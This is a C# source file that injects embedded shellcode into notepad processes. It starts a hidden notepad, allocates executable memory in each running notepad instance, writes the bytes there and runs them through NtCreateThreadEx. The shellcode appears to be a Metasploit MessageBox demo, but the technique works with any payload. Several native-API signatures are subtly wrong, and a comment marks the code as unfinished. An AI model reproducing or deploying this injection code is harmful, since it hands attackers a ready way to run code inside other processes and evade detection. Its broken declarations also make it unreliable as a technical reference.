ProcInj.cs

using System.Diagnostics;
using System;
using System.Runtime.InteropServices;

namespace gigas;

public class ProcInj
{

    [DllImport("ntdll.dll", SetLastError=true, ExactSpelling=true)]
    static extern IntPtr NtAllocateVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint ZeroBits,
        IntPtr RegionSize, uint AllocationType, uint Protect);


    [DllImport("ntdll.dll", SetLastError = true)]
    static extern bool NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint ZeroBits, byte[] Buffer, uint BufferSize,
        out UIntPtr NumberOfBytesWritten);

    [DllImport("ntdll.dll")]
    static extern IntPtr NtCreateThreadEx(
        
        uint DesiredAccess,               // ACCESS_MASK DesiredAccess
        IntPtr ObjectAttributes,          // POBJECT_ATTRIBUTES ObjectAttributes
        IntPtr ProcessHandle,             // HANDLE ProcessHandle
        IntPtr StartRoutine,              // PVOID StartRoutine
        IntPtr Argument,                  // PVOID Argument
        bool CreateSuspended,             // ULONG CreateFlags
        IntPtr ZeroBits,                  // SIZE_T ZeroBits
        IntPtr StackSize,                 // SIZE_T StackSize
        IntPtr MaximumStackSize,          // SIZE_T MaximumStackSize
        IntPtr AttributeList              // PVOID AttributeList
    );
    
    // todo: finish switching out this silly ass call 
    /*
     *NtCreateThreadEx(
       _Out_ PHANDLE ThreadHandle,
       _In_ ACCESS_MASK DesiredAccess,
       _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
       _In_ HANDLE ProcessHandle,
       _In_ PUSER_THREAD_START_ROUTINE StartRoutine,
       _In_opt_ PVOID Argument,
       _In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_*
       _In_ SIZE_T ZeroBits,
       _In_ SIZE_T StackSize,
       _In_ SIZE_T MaximumStackSize,
       _In_opt_ PPS_ATTRIBUTE_LIST AttributeList
     */

    public static readonly byte[] Buf = new byte[]
    {
        0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
        0x51, 0x56,
        0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20,
        0x3e, 0x48,
        0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61,
        0x7c, 0x02,
        0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52,
        0x20, 0x3e,
        0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x6f,
        0x48, 0x01,
        0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff,
        0xc9, 0x3e, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1,
        0xc9, 0x0d, 0x41, 0x01,
        0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e,
        0x44, 0x8b,
        0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41, 0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01,
        0xd0, 0x3e,
        0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
        0x41, 0x5a,
        0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49,
        0xff, 0xff,
        0xff, 0x5d, 0x3e, 0x48, 0x8d, 0x8d, 0x26, 0x01, 0x00, 0x00, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5,
        0x49, 0xc7,
        0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x0e, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d, 0x85, 0x1f,
        0x01, 0x00,
        0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0,
        0xb5, 0xa2,
        0x56, 0xff, 0xd5, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x2c, 0x20, 0x66, 0x72, 0x6f, 0x6d, 0x20, 0x4d, 0x53, 0x46,
        0x21, 0x00,
        0x45, 0x72, 0x72, 0x6f, 0x72, 0x21, 0x00, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00
    };

    public static void ProcStart()

    {

        int inject = NotepadStart();
        if (inject == 1)
        {
            Console.WriteLine("process injection complete");
        }
        else
        {
            Console.WriteLine("Process injection incomplete, notepad exitCode: {}", inject);
        }


    }

    private static int NotepadStart()
    {
        ProcessStartInfo start = new ProcessStartInfo();

        start.FileName = "C:\\Windows\\System32\\notepad.exe";
        start.WindowStyle = ProcessWindowStyle.Hidden;
        start.CreateNoWindow = true;
        int exitCode;




        using (Process proc = Process.Start(start))
        {


            Injector();


            proc.WaitForExit();
            exitCode = proc.ExitCode;
        }

        return exitCode;
    }

    private static void Injector()
    {
        Process[] localByName = Process.GetProcessesByName("notepad");
        foreach (Process p in localByName)
        {
            UnsfInj(p.Handle);
        }



    }

    static bool UnsfInj(IntPtr h)
    {
        IntPtr memAlloc = NtAllocateVirtualMemory(h, IntPtr.Zero, 0,Buf.Length, 0x00001000, 0x40);

        UIntPtr outout;
        NtWriteVirtualMemory(h, memAlloc , 0, Buf, (uint)(Buf.Length), out outout);		
        

        if (NtCreateThreadEx(0x1FFFFF, IntPtr.Zero, h, memAlloc, IntPtr.Zero, false, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero) != IntPtr.Zero)

        {
            Console.Write("injection complete!");
            return true;
        }
        else
        {
            Console.Write("injection failed");
            return false;
        }

    }
}